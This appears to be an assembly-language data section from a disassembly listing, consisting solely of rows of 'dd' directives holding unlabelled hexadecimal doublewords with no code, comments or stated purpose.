		dd 1B927C0h, 0E34C6EBFh, 2E6F097Dh, 6942C7AAh, 3888B144h
		dd 6B4C872h, 4E0B4664h,	0EC7EA805h, 85F82607h, 7342822Fh
		dd 7AF65F33h, 4D197C0Ah, 88EE1416h, 4FAE6AF4h, 81992666h
		dd 0C0A0A678h, 0F87D3BA6h, 46A4D272h, 0B7A6367Ch, 0E915741Dh
		dd 89956C64h, 1F29120Dh, 0E908D501h, 6A670128h,	7F58C25Ah
		dd 68406D7h, 950C700Ch,	0DC3FAC86h, 11D7DE81h, 5FF1E8EBh
		dd 0EE4464FEh, 3D3398F3h, 0EE28F72Bh, 0E6FE40E0h, 2207781h
		dd 11FEC93Bh, 0D23C02AFh, 55EB520Bh, 7415F720h,	144BD3EFh
		dd 574901D7h, 271CF896h, 555FB2F8h, 4C3808F6h, 45EBD2F3h
		dd 0BFC7CEFCh, 91FCCCD2h, 0CBE0D2B9h, 9AB3B07Eh, 801EC2B8h
		dd 65C6F488h, 7F1A506Eh, 9924BA52h, 0C7119CD0h,	0AE9D9241h
		dd 0C183351Eh, 750701D4h, 493D89D6h, 48E931C5h,	0C8283B37h
		dd 3966A373h, 303B05F8h, 1B1CF2EBh, 69823C0h, 290C4727h
		dd 76DCD0C1h, 329395Fh,	888FBC6Bh, 258613FDh, 0C207BA3Eh
		dd 0FB24E834h, 2914C8FAh, 880F0395h, 54321D59h,	6D762C19h
		dd 2B7611DAh, 48546CD3h, 29047622h, 818D1850h, 4E51B3BFh
		dd 0E5A45DB8h, 0B1BB04F1h, 67122AF4h, 8D390A02h, 9019E499h
		dd 24A8BC8Dh, 58202F02h, 17048D21h, 0A6908872h,	1077306h
		dd 0E8E2911h, 618309EBh, 78FB1B6h, 3DA3FB8Ah, 5B07CEE9h
		dd 3E80F703h, 6BD809h, 10348DC6h, 4373F33Bh, 84188A02h
		dd 0C93075DBh, 5ECC583Ch, 0F63B7080h, 46430C04h, 73A4F7EBh
		dd 45504E7Ch, 229605EBh, 0B71C4B3Fh, 825539C9h,	739982B5h
		dd 0EBC3058Fh, 0F3A00505h, 75424C03h, 71F0BDE8h, 73F7E0EBh
		dd 16F67E66h, 76E0FF68h, 0A0065E8Ah, 0A5CE40EFh, 4358685Eh
		dd 1FEC4325h, 0F0581C5Ah, 2B0928B2h, 0AA1968ACh, 2CC5399h
		dd 49108831h, 2730EBC2h, 13730AC2h, 9694529h, 0F0033472h
		dd 0C40EAEEBh, 0ECF003C0h, 8C1670A7h, 0AD41C244h, 168809D1h
		dd 6BE2B80Eh, 9FF0FC9h,	24798A8Dh, 5721ABF2h, 0A86EFACh
		dd 8DFB574Ah, 474024FCh, 0F82582B0h, 2A560Ch, 18C77C8Dh
		dd 609D1276h, 0FC82B5Ah, 0F010288h, 0E11847A9h,	733460EBh
		dd 0D30E2965h, 18836902h, 5072C654h, 0C511D155h, 0EA0A730Eh
		dd 0BBFC9856h, 7318F437h, 46678A42h, 62EF8B6Ah,	5F2B77D0h
		dd 3727A685h, 1473A32Ch, 9789FE39h, 66030638h, 0B43C8040h
		dd 47C25F84h, 63AB9143h, 30D9817h, 0D2A5EC2Bh, 0A7F9EDFDh
		dd 0EDA41EE5h, 5E78C411h, 127FF40h, 2F3B788Bh, 0F09200Ch
		dd 0D00393DDh, 0DAA96601h, 1B7E1D08h, 0A24922BAh, 8999687Ch
		dd 76FF1B06h, 16C40618h, 7E8C2409h, 0AA896479h,	556C9622h
		dd 0C7673C25h, 0C2F6F023h, 34597582h, 83570CC0h, 0F31422F9h
		dd 5D71C1D5h, 0F01FE1E8h, 0D3BD5A3Ch, 0CFBB8D28h, 10BF8E0Bh
		dd 329D0D0h, 805F044Fh,	0F99B82E1h, 36065C3Ch, 2572EECEh
		dd 97597E81h, 4E68E53Fh, 74B04CBEh, 6C95C50Ah, 8B1040ADh
		dd 0D1480E35h, 858B35BFh, 17C8AFDDh, 0E6BF92E0h, 7EA1A209h
		dd 0AAEAA738h, 0FD5FBADFh
		dd 0FC985BC4h, 0C5AE18B5h, 6BC68901h, 0AFA1A916h, 0A6A5166Ah
		dd 48B15AFh, 2C494807h,	4227748Ah, 9E088660h, 596A9D4Fh
		dd 4BBDD0D0h, 8CCFBAFEh, 350230CBh, 0E90A6275h,	54017A7h
		dd 1620EDA8h, 7313598h,	14F868Bh, 317B63Bh, 53044C6h, 0F4C4FF0Ah
		dd 2EE41AEEh, 51DE0775h, 57303442h, 3AE46C7Ch, 59056A60h
		dd 0DA3DD0BEh, 8916A4CBh, 0E9B5B40Dh, 0F8713E50h, 18886D4Bh
		dd 0BA19D635h, 1F125908h, 0B0261459h, 0F4D1C393h, 0BC603BFFh
		dd 8A6E0430h, 80A885C8h, 96EEA114h, 93D63F8h, 0B7DE3FA5h
		dd 0E3010C12h, 88FB2402h, 3966973Bh, 10869DDEh,	0EFCAC803h
		dd 70EF14A0h, 20388BCBh, 1A3C198Ah, 0FB15AE68h,	830B5C82h
		dd 2DFF47B6h, 0E069E928h, 0DA817A49h, 45AF1873h, 92CBF458h
		dd 0F768FF06h, 71BC65Eh, 0CA8B470Dh, 5ECCB373h,	7324EE59h
		dd 0A2D1D511h, 1527330Ah, 74596847h, 0F119B741h, 421A6A48h
		dd 1720A65Ch, 0B8B008Fh, 31448847h, 2924EB05h, 751F483Bh
		dd 3722FE2Fh, 0D42EDDC8h, 9CD718EBh, 0E816A7E2h, 0D007E868h
		dd 474141Ah, 14C04578h,	19E2C493h, 0E2EB02A2h, 52745E49h
		dd 936206F4h, 8802E523h, 8E582BC3h, 44F25B61h, 92EDCF5Ah
		dd 23693EA2h, 59A585DCh, 0BFD0165Dh, 0FBF9EFD4h, 2CCB333Ch
		dd 0BB2224BFh, 339AC54Dh, 42B2EEDBh, 3C078A01h,	0D11A7461h
		dd 4A6ABC72h, 222403BCh, 16B99D74h, 0BD8B5203h,	77CE3F04h
		dd 96C087Eh, 0C3021427h, 478A5A90h, 0C33A22DFh,	11E34D41h
		dd 0BC2FD33Bh, 43BB97E6h, 7F54F809h, 9D607E3Bh,	45592BE8h
		dd 36E9190Ah, 1CF90E03h, 0AC9A9948h, 0C4B23941h, 0B829A312h
		dd 15C9837Ah, 15B7EB20h, 724A8E23h, 0E810A213h,	147D37EAh
		dd 2498485Fh, 973166Fh,	0AB86FE29h, 81F620FCh, 4780CE31h
		dd 0B92A82EBh, 0C885036Eh, 0A10B5975h, 416E72E9h, 7462E8C2h
		dd 2E9BC748h, 340B103Ch, 0F7C20A12h, 8425C240h,	0ECC73B91h
		dd 0DF53E982h, 2EFAA646h, 6A79E9Bh, 2924BF2Fh, 90173CE9h
		dd 0D2CEA217h, 25E93602h, 744C772Fh, 36D23E80h,	0E5841919h
		dd 681111E1h, 0CC4BA4A4h, 0C288AE6Ah, 0DAC12D45h, 0CB3BF8C4h
		dd 1DB47D5Eh, 98A8BA1Ah, 4D2049CEh, 7708912h, 66045899h
		dd 8670A18h, 48E21C06h,	96CB7910h, 6C57F515h, 0ED331726h
		dd 0D5016CF2h, 8B5D7E57h, 0B1236F1Dh, 0F80FC3FBh, 2C1574CDh
		dd 2C6041F6h, 0EC401666h, 0C2017E20h, 3FEBEC7Ch, 0ABFF348Bh
		dd 6AF8A824h, 0E7C10520h, 52F5E802h, 40FBF8B0h,	0EBB08930h
		dd 3CE918B7h, 0FD3B1307h, 0F7B10E74h, 0ACF0F5CAh, 89FF0655h
		dd 0BBE7EC6Eh, 2EEE66F8h, 0FC1C4B0Ah, 5851B221h, 0CE40BFF8h
		dd 0B896F981h, 0F40C778Bh, 4B7C03Ah, 5251EB41h,	10225C2h
		dd 7FF9C10Fh, 0FE441488h, 5E802D01h, 0FE65B7C0h, 4D3988E0h
		dd 0FD4584FCh, 5DAA026Ah, 79F7E087h, 4D8D09F1h,	61AEA90Ah
		dd 0A22B51B2h, 0E81862FFh, 0F19A7F74h, 0C31166D5h, 230A45A8h
		dd 327F0C9Ah, 0ADE2D408h, 105EFEE0h, 0F82A804h,	4DA6F384h
		dd 117EB21h, 99273116h,	33D91084h, 2E08D460h, 2EBBFE24h
		dd 0B25D3D50h, 13B3ECD7h, 0E517EF24h, 81226670h, 6C84AFEh
		dd 10087417h, 3E30E845h, 4B45EE53h, 5FBBB348h, 45F47AA0h
		dd 21D02E43h, 2F570108h, 5E6C6474h, 0A462F08Bh,	5F4918B2h
		dd 4C04D0Eh, 5057107Eh,	32F968C4h, 0A24094A3h, 0F9335EEBh
		dd 8B16124Bh, 8BCB960Bh, 48390FCh, 0C8EE8685h, 0F608B881h
		dd 2013407Bh, 86FE0D74h, 0CF217069h, 8AB5B130h,	0D688CD4Dh
		dd 0EB7D70C2h, 845FE2D0h, 392CA653h, 5F1742B0h,	0B2B40674h
		dd 700F49EBh, 0A4484448h, 3492E59Dh, 7B578E6Ah,	0AE4893F2h
		dd 70C8F134h, 0EDE297F6h, 0C97D0089h, 51DBEC6Dh, 6E50C20h
		dd 31F04D11h, 0F70B576h, 14D03F0Ch, 0EC550639h,	31DC8C0Fh
		dd 20FB8006h, 170A137Ch, 0EC0E7F78h, 2F8A3F02h,	83D2403Ch
		dd 6139F7E0h, 0C6842061h, 91FAD5Ch, 77985E1h, 0FD08A01h
		dd 63899A87h, 1F0224FFh, 0C4DF41FDh, 5589191Dh,	2D806CCh
		dd 8E404E0h, 0E9DC06FCh, 93D34578h, 33E52610h, 0AA030A3Bh
		dd 0A308072Dh, 898D481Fh, 0A641FA39h, 743FB059h, 52E908FCh
		dd 43C0950h, 11E47A3h, 80203E51h, 4835E5E7h, 2CF20212h
		dd 2AFB0B84h, 1C742375h, 4E3FA9A4h, 59434BFh, 31128D9Eh
		dd 9DD8F73Eh, 0DFE9E91Fh, 0CBBE2F31h, 0C1851C3Bh, 0EBD04144h
		dd 0F08B43E9h, 4805EDA1h, 42861E3Fh, 8F088B6h, 0C04805D3h
		dd 13CAE90Dh, 3A896894h, 0E9396F6Ch, 4935B854h,	0ACEEDB0h
		dd 1420A868h, 0A6BB96Ch, 5A0AF25h, 0FFD4D18h, 0CF3097B9h
		dd 98E2A10h, 85942047h,	363F8040h, 7FEA1475h, 1C34013Bh
		dd 5177470Eh, 0E97823B9h, 8933406Ch, 2A17B3D0h,	54C1BF1Dh
		dd 58CEA5F6h, 0BF194E74h, 0C87E22CDh, 4DD47F74h, 47EC54B1h
		dd 0E21969D0h, 612F2D66h, 534CE236h, 0D67F83Bh,	29021C8Fh
		dd 0C34365E5h, 5A5E8496h, 0F8442458h, 4178E2A1h, 7C43E818h
		dd 336ED527h, 506C0970h, 2085FC22h, 0C49003E9h,	305E5498h
		dd 0C14267A8h, 0FF3B844Fh, 0FFBEBA22h, 671A852Ah, 4F22CA9Ch
		dd 250EE876h, 84D1A1C8h, 0AE0401FEh, 0BA090F0Ah, 0B5CBD408h
		dd 261AAB26h, 638ED527h, 854ED641h, 0D44291D2h,	3883660Ch
		dd 15CECAF3h, 0E7EB2540h, 80F760ABh, 149220C3h,	0BD8D4012h
		dd 3B85C1BEh, 9B56BCAh,	7F28CFF1h, 4706F084h, 8E0AD1E9h
		dd 127812F2h, 0E82F4087h, 5789AA30h, 963EC0D3h,	17244E3h
		dd 7DB640F4h, 0D880CA32h, 29EB0A5Fh, 745A0FD4h,	0D4090AD9h
		dd 0FADF48C5h, 8E92F22h, 4D89BC8h, 3B558889h, 4200E3EEh
		dd 0F87E6148h, 0AE3EE7E9h, 0B3E88D30h, 63669504h, 488B331Eh
		dd 2C5140ADh, 9086B8F6h, 0F171C9Ch, 0E8D10BBFh,	0F4456F5Eh
		dd 0B5E9E771h, 3E2B65ACh, 3D6FFA52h, 0A11FA3ECh, 990AD048h
		dd 5AFA509Ch, 9081B04Eh, 4A677515h, 4266EB07h, 0CC51A1BAh
		dd 8928D76Ch, 0BCF06C09h, 0B8764D98h, 1EFC4032h, 14C94ABCh
		dd 0BCFBEFD2h, 0A55BFBACh, 0EC102FDBh, 811409DAh, 746E69E6h
		dd 24EA7FE2h, 251B3642h, 506C4222h, 29125E59h, 6417F685h
		dd 57303564h, 920D752Dh, 0FA2AB03Bh, 0A0E1A4B9h, 32E85762h
		dd 5912B53Ch, 0A17CDA75h, 1721691Ah, 12906549h,	0AB9E2205h
		dd 705C527h, 81895174h,	69BEFDF1h, 53B12965h, 0C9924D24h
		dd 0D4C8016Dh, 3CEB1127h, 0E9BBD12Eh, 0C8FE22B4h, 0E2F7CAD0h
		dd 0EAFF0874h, 7CEBFD00h, 8FE94E15h, 8F01C37h, 7453E2Ah
		dd 80CC0B3Ah, 198F46D7h, 288A5D74h, 30EAF0C6h, 7F51042Dh
		dd 8802152Ch, 48E2EBFAh, 84222A6h, 12C33B2Ah, 3135EB02h
		dd 52031B98h, 9A40203Eh, 0EB76609h, 8898198h, 11B505EBh
		dd 0E9F6700Eh, 6BB10223h, 0A7B4099h, 60C16A54h,	3B530C74h
		dd 59350AEDh, 0C3E41EBh, 400D2174h, 0C854B99h, 1814C8E8h
		dd 99C007BCh, 0BCC525EBh, 9EB70C4Fh, 0C221F2D5h, 0A7A7E808h
		dd 9F85E039h, 0D2330805h, 1B741A05h, 177FE402h,	2758F07Ch
		dd 53581173h, 5A1D3BF9h, 6A27DAD2h, 4EBFA81h, 10C18B4h
		dd 83037578h, 0B344C2E7h, 0FE9309E6h, 72E038B5h, 0C68B06F7h
		dd 1575C70Bh, 256BE44Dh, 4B8356B7h, 620C5F0Bh, 6517F96h
		dd 20EF061Ah, 5299F404h, 0A5AC5750h, 0B305AB5Ah, 4FBB2AE8h
		dd 8B0C7531h, 3066C3CEh, 1B30C010h, 22D7A8E8h, 4139FBE9h
		dd 0C4037E68h
		dd 62CDD45Dh, 88CC82F8h, 0B5EB3318h, 1B682BA3h,	2938006h
		dd 3F13A656h, 3980C0C0h, 0AA755530h, 4B980B21h,	1C62140h
		dd 99373068h, 940ED816h, 520FC85h, 0F6FC5D8Bh, 26D30EC3h
		dd 0DA76C7A9h, 2D1A8B2Ah, 112014EBh, 9ED2B0Bh, 0BDA0203h
		dd 9F922024h, 92032901h, 0AC9F2BE0h, 32C9F406h,	38798B0Ch
		dd 96A5685h, 117E820h, 662433FDh, 2BEA0824h, 1439519Dh
		dd 5A9A1632h, 0A293F6Bh, 30613204h, 1AC2E5E8h, 412F117Fh
		dd 7E29B46Dh, 98F20FCh,	0FF788DF8h, 4303DE03h, 76C8913Ah
		dd 4104E817h, 328462A9h, 0E5EA848Dh, 0C41814F8h, 8B3E20C8h
		dd 0DCA84FC7h, 1553EBD0h, 21EE4E59h, 49BAE8D5h,	4AD511Eh
		dd 29A65A74h, 7D893671h, 0D4FA660Ch, 13120510h,	93AEF8F9h
		dd 633E23C8h, 0F714DCF8h, 442F0822h, 0BA89B27Bh, 8226EF12h
		dd 0ACE89739h, 0FF070C4Dh, 0E780449h, 5C8A11A2h, 0EB0217CCh
		dd 85B68E09h, 91A20B31h, 0F4F74A7Eh, 0F865838Ah, 7EF8109Fh
		dd 7B5D8D40h, 8AFE1C3h,	0AA6850D6h, 54217E62h, 561806DEh
		dd 9C30BFFh, 0D4ACE814h, 3E8A33AFh, 21071C2Ah, 59E57F4Eh
		dd 385FEF2Eh, 724BB6FBh, 7B266665h, 105C6D1Ch, 57060D22h
		dd 85F66D46h, 373275FDh, 5064133Fh, 5B09E26Fh, 831C55D9h
		dd 75E1F739h, 80D0C53h,	410493FBh, 0FC516405h, 0FD661D28h
		dd 94D73CAFh, 0BCB886D4h, 0E0F093D6h, 0B958402h, 47E9FD95h
		dd 0DB33116Ah, 91F41E6Eh, 16F64856h, 0E152E0B8h, 72744905h
		dd 4250BCC7h, 0C5CCD03Dh, 0FEF17C1Ah, 227CFFF3h, 6B54271h
		dd 2555249Dh, 0BFF0406Ah, 0CEA0BF1Ah, 0E8D1818Eh, 51508901h
		dd 0F2AAABF3h, 0C0A44F1Dh, 0EF860F1Eh, 7D8CF994h, 458414EEh
		dd 0EFD042BBh, 0BEBE7857h, 0D466A0Ah, 0F408FF41h, 87FEC23Bh
		dd 88269350h, 48BA165h,	94EE43C2h, 8D92C253h, 1FF85234h
		dd 4E6C10Fh, 0F09E45AAh, 5DBF9252h, 2C74C155h, 0BB01518Ah
		dd 7E25B58Eh, 3BFA8C40h, 9D1477C7h, 928AC501h, 8438AD8h
		dd 40184790h, 71F57628h, 2DC09D41h, 0A99DD475h,	0D08E0913h
		dd 72041722h, 963E9C1h,	57CD9C05h, 0A352FEE6h, 0C6E814ADh
		dd 0E4B68699h, 90BF3379h, 5989A521h, 0E0BC49A3h, 83C555EBh
		dd 3594FF79h, 15D2F9BAh, 82A25801h, 0D23D4008h,	0F1721267h
		dd 4270E256h, 8555422Dh, 0FB1006EBh, 13C3410Ch,	207AB4Eh
		dd 1D390DEBh, 121350D9h, 0D7E80E74h, 0BB25620h,	9F276CB5h
		dd 25F87014h, 56A122A2h, 0BE1075FEh, 138C7C98h,	0B86025FFh
		dd 15FD8AB7h, 8471D0D0h, 0F75FC09h, 0A15EDCA1h,	894A481Ah
		dd 3242A42Dh, 620BC2DFh, 2E806346h, 1FF00D0Ah, 0DC035848h
		dd 0C7FFB8C3h, 12554376h, 808F106h, 5712F911h, 0E3C16D42h
		dd 2B6D27C0h, 18A9B5AAh, 43C6D2BAh, 5FC444DDh, 146549B6h
		dd 0A46F14A5h, 0E891FF54h, 16790BA4h, 0BE527C16h, 84880988h
		dd 0AAA4DF05h, 2C38E840h, 0F21D31F4h, 250E8594h, 35C20h
		dd 8D575337h, 99DF355h,	7F40AB8Bh, 0AE1D2104h, 2BBCB60Ah
		dd 20B84186h, 0D5519503h, 51958520h, 0AA9C3BD5h, 0DA8A5C42h
		dd 0E9606AFFh, 7EBD5B5Fh, 29FA9192h, 7B218E35h,	0C50F7E27h
		dd 650FF456h, 52E13B70h, 512FD24h, 1F77561Eh, 0E84135AAh
		dd 244C291Fh, 0DFC985FCh, 2810241Ah, 2FB928F7h,	38CB5C14h
		dd 3073D18Dh, 8297113Ah, 4C16748Fh, 8A100AFBh, 3E650594h
		dd 18A09091h, 2361CEBh,	21104674h, 0EBB93020h, 0A05180E3h
		dd 2182211Dh, 0BF01503Dh, 169349EBh, 0FCC9D0A7h, 5A0AC919h
		dd 0C74CAB88h, 20C193C8h, 984ACADFh, 7261321Fh,	7A0A1361h
		dd 4F590E77h, 4AE93C9Dh, 0CC4DE0EBh, 5E5BBE97h,	0ABD4F7D2h
		dd 0CC1F8A5h, 2CE8FD6Ah, 0FD9059DDh, 0A6CFD423h, 9C3D42E0h
		dd 0EAD22E89h, 75068962h, 651BFD11h, 0B348E8F8h, 0EB893DB9h
		dd 4E0FF063h, 3DAD0B56h, 18AD2A1h, 0F087204Ah, 7586F62Ch
		dd 74078860h, 41473313h, 2F6D1935h, 0AE52161Ah,	26CA6214h
		dd 722E1008h, 120AF875h, 0C6FF6780h, 0FE580CCFh, 4AC21780h
		dd 625E7F0Ch, 0A301EE8Dh, 4CD1EADCh, 4DCA43B5h,	5D5F135Fh
		dd 0FBA4C7F9h, 461C562h, 47A32AFh, 4E822A6h, 0FB81619Eh
		dd 4B7DC048h, 0B00FFC28h, 1CE85302h, 61FFF1BBh,	20958E4h
		dd 6BC4C4FCh, 270E213Ah, 7CB4C2D9h, 2AC329FBh, 19FC3C22h
		dd 91080803h, 0B9F442EAh, 7F270D22h, 35A9C939h,	0CACE3EC2h
		dd 84C8ED93h, 24ECD233h, 648B8C9h, 742D083Bh, 42CF0020h
		dd 94CE383Dh, 0F986BD13h, 0A1D7213h, 18772416h,	6AB620BCh
		dd 0D4D50419h, 1147A357h, 7CF981D2h, 12728CCCh,	118ACA10h
		dd 76110826h, 0D38B6E0Ah, 3B038D4Fh, 39E2C345h,	772588B3h
		dd 5D977E66h, 0AD0BB0A4h, 0D1638A82h, 0B5EE66A5h, 75029AE6h
		dd 853C8352h, 986746C4h, 0BF0A8459h, 7589F4FEh,	3A410220h
		dd 3F90DFB0h, 20FB0789h, 144846A8h, 5FF44E15h, 0C586606h
		dd 4500618h, 3F7D8BE6h,	7E145E66h, 103E6F26h, 4E8166E0h
		dd 1169020Ch, 576A89B9h, 834BC244h, 8520D5EAh, 4ED6B944h
		dd 0F4106DF0h, 31EBB829h, 80A0D6A0h, 83EEF066h,	0EB9D18E8h
		dd 0C30E408Fh, 0D493B759h, 8404422h, 7EE85007h,	289826B5h
		dd 430141C4h, 0B884EB85h, 91BC9390h, 84068A12h,	0A4C86C5h
		dd 2D0FCC3Bh, 5A0DF2E1h, 0AC75B7Dh, 6ABC364Bh, 0C210C0E2h
		dd 8DFF71EFh, 0AC93C011h, 0C2362DECh, 45E70671h, 254ACB08h
		dd 22D09355h, 46C70610h, 162C0146h, 0F6D04EE5h,	430C4869h
		dd 0C1D32212h, 3E80EE92h, 0D99E7025h, 32900852h, 24E809CBh
		dd 91F248E9h, 0B6EA2EF1h, 0FBFCD820h, 191FF95h,	0C6F400E0h
		dd 1F33345h, 8A20D00Eh,	7D3975Eh, 8FF10446h, 0DDC3909Dh
		dd 45A8EB35h, 0FDFFF41Ch, 4364C8CAh, 0A02D8F95h, 0FB8365EBh
		dd 3E7F0C4Eh, 2A0E5E74h, 3D3E95BEh, 0A543446h, 0A58C6EAh
		dd 37754C0Ch, 0E6EBC8FEh, 17E1E80h, 0C2CD836h, 0A1903402h
		dd 9723E5E9h, 74FCD07Ch, 8B5B205Eh, 2767EBF0h, 2256F246h
		dd 1D684A5Ah, 376C54C5h, 820773Dh, 0EEBF11Bh, 0B0067E79h
		dd 0DC4DFA9Ch, 8009FC10h, 5BC1F17Dh, 305E3B4Fh,	0C984F293h
		dd 887FA2F1h, 0A398BC58h, 370C046Fh, 0A6D469C8h, 0E47D50EAh
		dd 88144875h, 9A533C1Bh, 86A743A3h, 0ACB07880h,	0D9ED0451h
		dd 1F106E01h, 833309CAh, 0FED683CEh, 0C4820C6Eh, 63102874h
		dd 0AF3E7ABEh, 93E6DE7Bh, 8E23E808h, 1193F7B5h,	831F730Bh
		dd 0E8B76F2h, 39169157h, 974F241h, 82F40A94h, 2FDEDC27h
		dd 26FFE8Bh, 0C025EDDh,	5420A1Eh, 2C126333h, 36422FCh
		dd 311504F8h, 0C0F6A8Eh, 0A387E67h, 1B743569h, 579B04E3h
		dd 5BBC5102h, 0E14C4E86h, 21E98F8Ch, 64286A0Bh,	0D0B0985Eh
		dd 422DFB32h, 0EA8287Eh, 7A4D01E9h, 8D2B8213h, 0F2FE3CB5h
		dd 752D050Fh, 199D880Eh, 143D220Bh, 13265086h, 5217752Bh
		dd 8B281555h, 0E81A2748h, 44D791CEh, 0FEEC5F3Bh, 6E83504Eh
		dd 44FB12E0h, 0D25DF44Fh, 0A0547E9Dh, 76B10922h, 450404C4h
		dd 0DC522AEDh, 0A8362121h, 0B0176015h, 461E88E4h, 0E705EA9h
		dd 1D38BB06h, 752B8BC8h, 5C952966h, 50867B23h, 50881CA0h
		dd 0A7462A06h, 0ECD7886Eh, 0F4021077h, 13E4C90Eh, 2FA89AAh
		dd 0D28C65F2h, 2590450Ah, 392F2895h, 6C676E0h, 7937A465h
		dd 2DAB86CBh, 5757514h,	27462486h, 2C661EC5h, 0AC214D28h
		dd 462D0F2Ah, 0A755689Eh
		dd 0C80E30D9h, 19085912h, 0A0C99804h, 8D725E9Ah, 6640A213h
		dd 549F6A4h, 36A090DCh,	7D50154Dh, 4264ECCh, 2FE3C83h
		dd 62BE0F50h, 0D45040C8h, 6968B548h, 919743CFh,	951429CCh
		dd 4AD8A852h, 49886ED7h, 347EB611h, 0BFFAEAA6h,	6F05404Ah
		dd 3DBC0BE9h, 0FF5B7DD4h, 0B6A8F624h, 9852FB97h, 0AC96B6A4h
		dd 0FDC32D11h, 0C4CD974Bh, 0E4D787BDh, 0FAA7C63Bh, 2C303F45h
		dd 348AACEBh, 0C48704C3h, 0E91DD120h, 629CEEB8h, 109D8B7Ah
		dd 673F8066h, 8A74A5Eh,	788DC784h, 469975C2h, 2232A167h
		dd 0C54ED57h, 287C44CDh, 0EB01F105h, 680E9C11h,	0B1360548h
		dd 74AD30FBh, 1A4788D7h, 0EC644E64h, 743B6340h,	58103A2Fh
		dd 3EF32AA6h, 405799CAh, 5E6F6A38h, 2F16E929h, 3AA13BA8h
		dd 3661A838h, 5B306A02h, 0B901FDE9h, 59130945h,	6A858C60h
		dd 91CFEB78h, 5338E410h, 0FFE8C505h, 9C82D2AAh,	37948D5h
		dd 11F6F9ABh, 617BD17Dh, 5DC6031Ah, 0D1B209A9h,	0A7568947h
		dd 8AFE8120h, 1F6ECB55h, 5F748761h, 36095B47h, 3D82A77Dh
		dd 798CD7F9h, 47073620h, 473D13Ah, 3BEBC1C3h, 0F87AC208h
		dd 21772FD0h, 0F006900Ch, 46F22B07h, 0C220CA8Bh, 2507E183h
		dd 0C8F401B3h, 42039CE4h, 32EB754Eh, 81B4EBE9h,	0D08AC844h
		dd 1F5EC18Bh, 0EC9BEB1Ah, 4019948h, 385118Ah, 78354E25h
		dd 64D4CACFh, 0AC549F1Ah, 0E8D00D3Dh, 0E5053D53h, 650E4832h
		dd 0C2D62743h, 1A841969h, 0E5EE3D44h, 7E3240D4h, 6A32C88Bh
		dd 605ACB01h, 30E85D2Ch, 0C11CE2D3h, 16C003F9h,	339C0D4Ch
		dd 0D18509CBh, 0CF106074h, 0CCB5275h, 0B9FA78EAh, 45888491h
		dd 3B31B1C8h, 0CC0D4732h, 0DD036C00h, 6FFBC92Eh, 592A1DC9h
		dd 20C20846h, 33690B2Bh, 57ADAF2Eh, 0C48FD4FAh,	3BC8214h
		dd 9E041ACAh, 0A3C9EAD4h, 14D0729Eh, 4D25085Ch,	3A36BA2h
		dd 0BA443911h, 7328A50Fh, 437FCE28h, 64E64502h,	138A72E3h
		dd 0D4A02586h, 2083A4E0h, 6051A698h, 58119712h,	1F3BA31h
		dd 7517CA76h, 0C4C62406h, 0C44E9E80h, 0EF8A031Ah, 97D03A64h
		dd 0D01254Dh, 6EE9F15Dh, 3E44EF52h, 95B24F75h, 9228F897h
		dd 5690370Eh, 140DA032h, 48172551h, 14B9A355h, 55CBD89Ch
		dd 59C700DCh, 0CD32E4E8h, 0CE1E895Bh, 27D850Fh,	532C4ECBh
		dd 0CA44D9ECh, 0F05D181Dh, 1550756Fh, 7D2938B8h, 3905053h
		dd 39B09422h, 46AA769Dh, 0D80D06DCh, 78C573E8h,	11646009h
		dd 0D0430C8Dh, 111A0199h, 5E51982h, 2455F057h, 0B936E472h
		dd 0BE2FE97Eh, 0FF28BF12h, 40024239h, 8480E9EDh, 79BBAEDCh
		dd 6D079D4Dh, 0E1AF0DD1h, 1A1CD7D9h, 0F24C4E9h,	7418B251h
		dd 700A3F67h, 0C56C3A55h, 0A2E7437Fh, 80A1176h,	0E7C1006Ch
		dd 8D3FEB03h, 0D178BF3Ch, 4E45FAEFh, 1DE74242h,	6CBC0DAFh
		dd 12041FAh, 0E445BB4Ah, 158DDA08h, 0DED01F7Ch,	0B0158E1h
		dd 5BE25C21h, 740A1401h, 8CDFF702h, 11B34613h, 0CECECC5Ch
		dd 755A6113h, 32563329h, 6A1048D0h, 4DFE0A4Eh, 3530812h
		dd 1039E0AAh, 9BF33EC9h, 38E4DF62h, 3E66AEC3h, 0CB77FE0Ah
		dd 59560C58h, 0EA334293h, 775385E1h, 0C9060012h, 9CFBC33Bh
		dd 0CA55930Bh, 88144DA8h, 8B76718h, 280E28B3h, 5525C850h
		dd 0E6AF9F3Eh, 8FA7CBF6h, 0C833DF2Ah, 0F7C3C50Ch, 0CA44F36Eh
		dd 0BD2A57F0h, 0F6560969h, 59305CC1h, 0EDC435C7h, 0C9E72805h
		dd 0E46578Bh, 7D1A269Bh, 7318111Dh, 0A5E3763Ah,	0CC9A1164h
		dd 382887EDh, 48E49DACh, 5E367AB7h, 0C2EDF3CCh,	0DD107E56h
		dd 0C97DE192h, 5B69E500h, 4D77219Ah, 14E12FA9h,	0EE3020E6h
		dd 0C68B0716h, 7AE6FC5h, 334AFFE1h, 0AEA0978h, 0B0799355h
		dd 35E852C3h, 0A273E0BFh, 79AC5BB3h, 8571EA4Eh,	7F093015h
		dd 259DB1D9h, 0E8060B10h, 0C3BFD65Ah, 0C6BAC1A4h, 84A2A82Fh
		dd 0ADAEE775h, 108F90E6h, 7F52D330h, 0DD142473h, 5AD62501h
		dd 68D90A4Ch, 0CA0F0FEEh, 6A41A501h, 77276E85h,	68C35DD1h
		dd 0CCB986ADh, 5A711621h, 5D035BE8h, 535DEC2Ah,	2AD758E4h
		dd 50189B06h, 4BF39075h, 351DE703h, 0F9022722h,	5F50FEE0h
		dd 2045D446h, 0A8E1333Ah, 0E4B6EBF4h, 45EF3140h, 2961905h
		dd 80692CA8h, 0DD9D9028h, 10889B47h, 21780CE6h,	483E04EBh
		dd 92967B5Bh, 74FFC747h, 426B9AA2h, 189819B4h, 5D12C902h
		dd 0C0333500h, 43975653h, 0A1155F40h, 4412BBDDh, 0C0EC75Bh
		dd 0F610718Ah, 0D74CCC1h, 3D86D997h, 0C00B8FA0h, 7E045809h
		dd 441248ACh, 81834993h, 0CB84028Bh, 8C911258h,	44214BDDh
		dd 5EB9678Eh, 1113232Fh, 0CB2F9E90h, 6A221E9Ah,	50303302h
		dd 23D1F7B8h, 0E283CB00h, 4E1C1EFh, 0E1CA4F0Bh,	1B840407h
		dd 35372A2Dh, 7B7E2683h, 8730E636h, 0E936BA17h,	0FB472E33h
		dd 3E9C1C0h, 0FD81CF23h, 6005CA0Ah, 1317FE15h, 93C025E8h
		dd 5474C384h, 583E907h,	0A8100C49h, 0FF0B6704h,	447A17Dh
		dd 618FBBAh, 0F7790917h, 159020E9h, 0B0582845h,	0FFE1B9F0h
